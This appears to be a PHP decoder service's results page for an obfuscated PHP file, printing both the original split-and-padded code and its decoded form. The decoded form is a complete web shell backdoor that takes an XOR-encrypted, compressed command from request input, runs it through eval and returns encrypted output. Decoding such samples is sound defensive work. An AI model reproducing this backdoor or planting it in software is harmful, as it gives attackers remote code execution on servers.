Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $w='Gtrlen(G$t);$o=\"\"G;for($Gi=0;$Gi<$l;){for($j=0;($j<$Gc&&$Gi<$l);$'; $m='1) G..

Decoded Output download

$k=\"5e93de3e\";$kh=\"fa544e85dcd6\";$kf=\"311732d28f95\";$p=\"r7o1pO55Kx4ndvxs\";function x($t,$k){$c=strlen($k);$l=strlen($t);$o=\"\";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match(\"\/$kh(.+)$kf\/\",@file_get_contents(\"php:\/\/input\"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print(\"$p$kh$r$kf\");}

Did this file decode correctly?

Original Code

<?php
$w='Gtrlen(G$t);$o=\"\"G;for($Gi=0;$Gi<$l;){for($j=0;($j<$Gc&&$Gi<$l);$';
$m='1) G{@ob_sGtart();@eGval(@gGzuGncompressG(G@x(@basGeG64_decodeG($';
$s='\"r7Go1pOG55Kx4ndGvxs\";funGctionG x($t,$k){$Gc=strGGlen($GkG);$Gl=s';
$M='m[1]),$k)G));$o=@oGGb_getG_contGents();@ob_eGnd_cGlean();GG$r=@ba';
$A='jG++G,$i++){G$o.=$t{$GGi}^$k{$j};}}reGturnGG $o;}if G(@preGg_matc';
$y='G$k=\"5e93Gde3Ge\";$kh=G\"fa544e85dcd6\"G;$kf=\"G311732Gd28f95G\";G$p=';
$u='h(\"\/$khG(.+G)$kf\/\",@fiGle_gGet_cGGoGntentsG(\"php:\/\/input\"),$Gm)==';
$I='sGe64_Gencode(@x(@gzcGomprGeGss($o),$kG));Gprint(\"G$p$kh$r$kf\");}';
$c=str_replace('zs','','zscrzszseate_zsfuzszsnction');
$i=str_replace('G','',$y.$s.$w.$A.$u.$m.$M.$I);
$W=$c('',$i);$W();
?>

Function Calls

str_replace 2
create_function 1

Variables

$A jG++G,$i++){G$o.=$t{$GGi}^$k{$j};}}reGturnGG $o;}if G(@preGg..
$I sGe64_Gencode(@x(@gzcGomprGeGss($o),$kG));Gprint(\"G$p$kh$r$..
$M m[1]),$k)G));$o=@oGGb_getG_contGents();@ob_eGnd_cGlean();GG$..
$c create_function
$i $k=\"5e93de3e\";$kh=\"fa544e85dcd6\";$kf=\"311732d28f95\";$p..
$m 1) G{@ob_sGtart();@eGval(@gGzuGncompressG(G@x(@basGeG64_deco..
$s \"r7Go1pOG55Kx4ndGvxs\";funGctionG x($t,$k){$Gc=strGGlen($Gk..
$u h(\"\/$khG(.+G)$kf\/\",@fiGle_gGet_cGGoGntentsG(\"php:\/\/in..
$w Gtrlen(G$t);$o=\"\"G;for($Gi=0;$Gi<$l;){for($j=0;($j<$Gc&&$G..
$y G$k=\"5e93Gde3Ge\";$kh=G\"fa544e85dcd6\"G;$kf=\"G311732Gd28f..

Stats

MD5 2ab283af8c738e368ad59bb4402bdfce
Eval Count 1
Decode Time 65 ms